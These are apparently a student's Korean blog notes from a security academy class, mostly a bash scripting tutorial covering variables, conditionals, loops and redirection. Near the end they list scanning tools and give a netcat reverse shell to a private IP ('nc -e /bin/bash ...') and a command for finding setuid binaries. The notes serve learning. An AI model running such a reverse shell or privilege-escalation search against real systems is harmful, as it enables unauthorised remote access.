정보보안아카데미

#18

이야기prog 2025. 8. 22. 09:03

Scripts: 반복 작업을 자동화하기 위해서 사용함.

 

sh: 초기의 유닉스 쉘

ksh : sh를 확장해서 만든 쉘 (콘쉘)

csh : c언어를 기반으로 만든 쉘 (c쉘)

bash : sh과 호환성

 

shell scripts 작성법

#!/bin/bash - 쉘 선언 (Shebang)
echo "Hello World"

초기에 스크립트는 644권한이라서 755로 변환해주고 실행

변수는 모든 값을 문자열로 저장 (변수 타입 지정안해도 됨)
변수명 앞에 $붙이면 변수사용, test='1234'처럼 공백이 없어야함

echo Mr.${변수명}

함수 function

타입 지정 시 declare

declare -i(int) number
number=3

declare -r(read only) test
test="test"

declare -a(array)

declare -f(float)

shell에서 export hello_world="Test Test"를 준다면
export(환경변수 선언)
hello_world라는 환경변수 선언 다른 스크립트에서도 사용가능

#!/bin/bash


echo "script name : ${0} "    # 스크립트 이름
echo "total arg num : ${#}"   # 인자 개수
echo "second arg : ${2}"      # 두번째 인수
echo "total arg value : ${@}" # 인자 전체

예약 - HOME, PATH, LANG, UID, USER, FUNCNAME, TERN 등

산술 연산
expr -> ``
(( ))


number1=10
number2=20

plus=`expr $number1 + $number2` # 연산자 사이에 공백있어야함
mul=`expr $number1 \* $number2` # 곱만 역슬래쉬 \*

echo "${plus}"
echo "${mul}"

echo "add:$((number1+number2))"

:<<"END"


END # 여러줄 주석

if [ 조건식 ] # 조건식 앞뒤로 공백있어야함
then
수행
else
수행
fi


if [ ${a} -eq ${b} ]; then # -eq -gt 등등
    echo "a = b"
fi


if (( ${a} < ${b} )); then
    echo "yes"
fi


if [ "${a}" -lt "${b}" ]; then
    echo "yes"
elif [ "${a}" -eq "${b}" ]; then
    echo "equal"
else
    echo "no"
fi


case ${os} in
    "linux") echo "Rocky";;
    "windows") echo "windows 11";;
    "mac") echo "MacOS";;
    *) echo "지원하지 않는 OS";;
esac


#반복문
#!/bin/bash

for ((i=1; i<=4; i++)); do
    echo "${i}"
done

for x in 1 2 3 4 5; do
    echo "${x}"
done

data="1 2 3 4 5"
for x in $data; do
    echo "${x}"
done

for num in `seq 1 5`
do
    echo $num
done

for num in {1..5}
do
    echo $num
done


count=0
while [ ${count} -le 5 ];
do
    echo ${count}
    count=$(( ${count}+1 ))
done


until [ ${count2} -le 5 ]; # 조건이 거짓일 때
do
    echo ${count2}
    count2=$(( ${count2} -1 ))
done

`` 명령어로 인식함

 

# *.txt 파일에 전부 x권한 추가
#!/bin/bash

for file in `ls *.txt`
do
    chmod +x $file
    echo "${file} ex added"
done


표준입출력
표준입력 - stdin
표준출력 - stdout
표준에러 - stderr

 

Redirection - 표준입출력 재지정

> -프로그램의 출력을 지정한 출력으로 변경

>> - 프로그램의 출력을 지정한 출력으로 변경한 후 추가

< - 프로그램의 입력을 지정한 입력으로 변경

<< - 프로그램의 입력이 여러 행일 때 사용 - 지정한 문자열이 입력되면 종료

1>&2 ->  정상적인 표준 출력 내용을 표준 에러 출력으로 처리

2>&1 -> 정상적인 표준 오류 내용을 정상 표준 출력으로 처리

 

arp-scan, nmap, netdiscover. fping 등으로 네트워크 대역 ip 스캔, 포트스캔

gobuster, dirbuster, dirsearch., dirb, dirsearch, owasp zaproxy 등 ,웹 디렉토리 스캔

 

netcat: 원격접속도구 (리버싱) - 막혀있음 보통 ex) nc -lvnp 4444(port)

nc -e /bin/bash 192.168.16.80 4444

 

setuid: 실행될 때, 소유자의 권한을 가지게끔 한다.

 

find / -perm -u=s(setuid) -type f 2>/dev/null - setuid가 적용된 파일 타입의 파일을 루트에서부터 찾고 에러는 지운다.

 

strace (system call trace) - 프로그램의 시스템 콜을 추적

ltrace (library trace) - 프로그램의 라이브러리 추적

 

'정보보안아카데미' 카테고리의 다른 글

#17  (0) 2025.08.20
#16  (0) 2025.08.20
#15 (시스템 보안)  (2) 2025.08.18
#13  (6) 2025.08.13
#14  (2) 2025.08.13